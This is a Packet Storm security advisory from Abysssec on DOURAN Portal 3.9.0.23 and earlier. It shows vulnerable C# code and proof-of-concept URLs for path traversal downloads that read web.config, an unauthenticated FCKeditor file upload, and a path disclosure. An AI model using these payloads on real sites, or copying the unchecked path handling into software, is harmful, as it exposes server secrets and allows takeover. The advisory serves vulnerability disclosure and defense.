exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DOURAN Portal 3.9.0.23 File Up/Download Issues

DOURAN Portal 3.9.0.23 File Up/Download Issues
Posted May 19, 2009
Authored by Abysssec | Site abysssec.com

DOURAN Portal versions 3.9.0.23 and below suffer from file upload and download vulnerabilities.

tags | exploit, vulnerability, file upload
SHA-256 | a743e43b0d6bbc5053b5f8ba1261c41798f0b4153cfc1d3ea7b1331bd6b4c4ea

DOURAN Portal 3.9.0.23 File Up/Download Issues

Change Mirror Download
Abysssec Inc Public Advisory

Description :

these vulnerabilites found one year ago and new version of this portal "is not" affect whith these vulnerabilites anymore
but still lots of web site uses of old version and are vulnerable and also new version is not "fully secure" . so because of patching there
is no point to keep these private anymore these vulnerabities are just for educational purpose and author will be not be responsible
for any damage using this vulnerabiltes .

Discovery : www.Abysssec.com

Title : Douran Portal Multiple Remote Vulnerabilities
Affected Version : DOURAN Portal <= V3.9.0.23
Vendor Site : www.douran.com



Vulnerabilites :


1- File Download Vulnerbility in /Admin/ImportExport/download.aspx

Vulnerable Code :


string strFileName = Request.Params["Filename"];
if((strFileName != null) && (strFileName != ""))
{
string strPath = Server.MapPath("../../_DouranPortal/ExportPortal");
strPath += "\\" + strFileName; // Vulnerablity
if(System.IO.File.Exists(strPath))
{
Response.Clear();
Response.ContentType = "application/octet-stream";
Response.AddHeader("Content-Transfer-Encoding", "binary");
Response.AddHeader("Content-Disposition", "attachment; filename=\"" + strFileName + "\"");
Response.Flush();
Response.WriteFile(strPath);
Response.End();

.....


PoC : http://www.vulnerable.com/Admin/ImportExport/Download.aspx?filename=../../web.config



2- File Download Vulnerbility in /download.aspx

Vulnerable Code :


string fileNameAttach = Request.Params["FileNameAttach"];
string filePathAttach = Request.Params["FilePathAttach"];
string originalAttachFileName = Request.Params["OriginalAttachFileName"];
if((fileNameAttach != null) && (filePathAttach != ""))
{
string strPath = Server.MapPath(filePathAttach + "/" + fileNameAttach); // Vulnerable
if(System.IO.File.Exists(strPath))
{
System.IO.Stream iStream = null;

// Buffer to read 1 mega bytes in chunk:
int segmentLegthToRead = 1024 * 1024;
byte[] buffer = new Byte[segmentLegthToRead];
......

PoC : http://www.vulnerable.com/download.aspx?FileNameAttach=/web.config

3- File Upload Vulnerability DesktopModules/fck/editor

Vulnerablity :

Using Fckeditor without any authentication will give ability to attacker to
upload his / her own file and fckeditor won't check file extention
it will give ability to attacker upload a malicius server side ASP / ASPX / PHP / JSP .
so this vulnerability can creation access to server / portal completely .

PoC : http://www.vulnerable.com/DesktopModules/fck/editor/filemanager/upload/test.html


4-Path Disclosure Vulnerablity In DesktopModules/DesktopCalendar/HZAN_pickercal.aspx

Vulnerable Code :

Calendar1.FullWidth = true;
Calendar1.BigCaledar = bool.Parse((string)Request.QueryString["calsize"]);
if (!IsPostBack)
{
Calendar1.Date = new DateTime(long.Parse((string)Request.QueryString["curd"]));
Calendar1.CalendarCulture = (HZAN.Calendar.CultureType)Enum.Parse(typeof(HZAN.Calendar.CultureType),(string)Request.QueryString["culture"]);
seldate = Calendar1.Date.ToShortDateString();
ChangeSelDate1();
}


PoC : http://www.vulnerable.com/DesktopModules/DesktopCalendar/HZAN_pickercal.aspx?calsize='


Final Note : for advanced security topics / sharing idea and etc ... please feel free to contact me at : admin [at] abysssec.com



Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    29 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close